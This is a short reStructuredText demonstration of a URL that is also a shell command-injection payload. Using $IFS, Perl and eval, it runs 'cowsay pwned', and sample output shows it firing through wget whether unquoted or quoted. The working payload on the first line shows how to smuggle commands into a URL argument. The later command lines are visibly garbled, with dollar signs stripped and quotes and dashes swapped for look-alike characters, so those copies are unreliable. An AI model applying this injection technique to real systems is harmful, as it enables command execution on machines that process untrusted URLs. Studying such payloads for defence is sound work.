http://example.com/;'$(gt=$(perl$IFS-E$IFS's//62/;s/62/chr/e;say');eval$IFS''cowsay$IFS''pwned$IFS$gt/dev/tty)';cowsay$IFS''pwned
The above (completely valid) URL is also a shell script
that executes some malicious(?!) code::
wget−qhttp://example.com/;′(gt=(perlIFS-EIFS′s//62/;s/62/chr/e;say′);evalIFS''cowsayIFS′′pwnedIFSgt/dev/tty)′;cowsayIFS''pwned
bash: (gt=(perlIFS−EIFSs//62/: No such file or directory
bash: s/62/chr/e: No such file or directory
bash: say);evalIFScowsayIFSpwnedIFSgt/dev/tty): No such file or directory
_______
< pwned >
-------
\ ^^
\ (oo)_____
(__)\ )/
||----w |
|| ||
It does so even when you add double quotes around it::
wget−q"http://example.com/;′(gt=(perlIFS-EIFS′s//62/;s/62/chr/e;say′);evalIFS''cowsayIFS′′pwnedIFSgt/dev/tty)′;cowsayIFS''pwned"
_______
< pwned >
-------
\ ^^
\ (oo)_____
(__)\ )/
||----w |
|| ||
Single quotes don't help either::
wget−q′http://example.com/;′(gt=(perlIFS-EIFS′s//62/;s/62/chr/e;say′);evalIFS''cowsayIFS′′pwnedIFSgt/dev/tty)′;cowsayIFS''pwned'
_______
< pwned >
-------
\ ^^
\ (oo)_____
(__)\ )/
||----w |
|| ||
.. vim:ft=rst ts=3 sts=3 sw=3 et